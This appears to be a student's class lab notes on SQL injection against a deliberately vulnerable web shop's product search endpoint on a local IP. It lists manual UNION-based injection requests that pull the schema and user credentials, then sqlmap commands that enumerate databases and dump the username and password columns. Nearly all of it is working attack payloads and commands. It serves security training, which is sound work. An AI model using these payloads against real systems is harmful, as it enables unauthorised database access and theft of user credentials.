**Bushra Akter**

**Class 19**

**Query(manual):**

GET /rest/products/search?q=orange' HTTP/1.1

GET /rest/products/search?q=orange'))-- HTTP/1.1

GET /rest/products/search?q=orange'))+ORDER+BY+9-- HTTP/1.1

GET /rest/products/search?q=orange'))+UNION+SELECT+sql,2,3,4,5,6,7,8,9+FROM+sqlite\_master-- HTTP/1.1

GET /rest/products/search?q=orange'))+UNION+SELECT+id,username,email,password,5,6,7,8,9+FROM+users-- HTTP/1.1

========================= SQL Map

sqlmap -u http://192.168.31.91:3000/rest/products/search?q=orange --dbs --level=3 --risk=3 --batch

sqlmap -u http://192.168.31.91:3000/rest/products/search?q=orange --dbs --level=3 --risk=3 --batch

sqlmap -u http://192.168.31.91:3000/rest/products/search?q=orange --schema

sqlmap -u http://192.168.31.91:3000/rest/products/search?q=orange -D Users --tables

sqlmap -u http://192.168.31.91:3000/rest/products/search?q=orange -D Users -T Users --columns

sqlmap -u http://192.168.31.91:3000/rest/products/search?q=orange -D Users -T Users -C username,password --dump